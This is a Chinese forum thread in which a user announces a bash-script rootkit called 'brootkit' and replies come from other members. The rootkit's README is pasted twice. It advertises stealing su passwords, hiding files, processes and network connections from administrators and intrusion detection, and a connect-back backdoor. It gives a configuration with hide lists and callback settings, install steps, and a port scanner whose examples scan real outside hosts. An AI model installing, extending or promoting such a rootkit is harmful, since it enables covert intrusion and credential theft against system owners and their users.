一个好玩的后门脚本

W.Z.T

hi， 好久不见， 最近用bash写了个一个后门， 写这个只是为了好玩， 可以隐藏特定文件/文件夹，网络连接， 进程， 还有一个可以回连的反弹后门。
请大家鉴赏下：https://github.com/cloudsec/brootkit

更新一个多线程的端口扫描器

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit

Herowinter

回复 1# W.Z.T

碉堡了...别用来黑我啊...我有良民证...

little_angel

厉害，看的不是很明白。呵呵~

W.Z.T

利用bash脚本的命令执行顺序， hack掉bash的buitlin函数和系统的一些命令， 如何ls，ps，netstat等等，have fun。

刺客阿地

碉堡了，我是菜鸟，别黑我。。。

kaede_1

兄台，抽空把readme写详细一些呗)

W.Z.T

回复 6# kaede_1

已更新readme和一个多线程的端口扫描器 https://github.com/cloudsec

Lightweight rootkit implemented by bash shell scripts v0.06

by wzt 2015   wzt.wzt@gmail.com http://www.cloud-sec.org

If bash shell scripts can be designed for security tools like chkrootkit
or rkhunter, so it can be implemented for a rootkit.

features:

1. more hidable ability against admintrator or hids.
2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.
6. connect backdoor.
7. muilt thread port scanner.

tudo:

1. sudo thief support.


INSTALL

1. edit br.conf first

   brootkit config file.
   
   the ports will be hide: port1,port2,...,portn.
   HIDE_PORT               8080,8899
   the files will be hide: file1,file2,...,filen.
   HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
   the process will be hide: process1,process2,...,processn.
   HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon
   the connect back host domain name or ip address.
   REMOTE_HOST             localhost
   the connect back host port.
   REMOTE_PORT             8080
   the connect backdoor base sleep time.
   SLEEP_TIME              60

2. ./install.sh

3. muilt thread port scanner.

   [root@localhost brootkit]$ ./brscan.sh
   ./brscan.sh <-p> [-n|-t|-o|-h] <remote_host>

   option:
   -p              ports, pattern: port1,port2,port3-port7,portn...
   -n              thread num, defalut is 10
   -t              timeout, default is 30s
   -o              results write into log file, default is brscan.log
   -h              help information.

   exp:
   ./brscan.sh -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org
   ./brscan.sh -p 1-65525 -n 200 -t 20 www.cloud-sec.org
   [root@localhost brootkit]$ ./brscan.sh -p 21,22-80 -n 20 www.aliyun.com
   host: www.aliyun.com | total ports: 60 | thread num: 20 timeout: 30 | logfile: brscan.log

   connect to www.aliyun.com:80 ok.


SOURCE

   https://github.com/cloudsec/brootkit


   

kaede_1

回复 7# W.Z.T


   

t12345pk

学习学习， 慢慢研究

vbgfnd

我一定要看懂你的代码！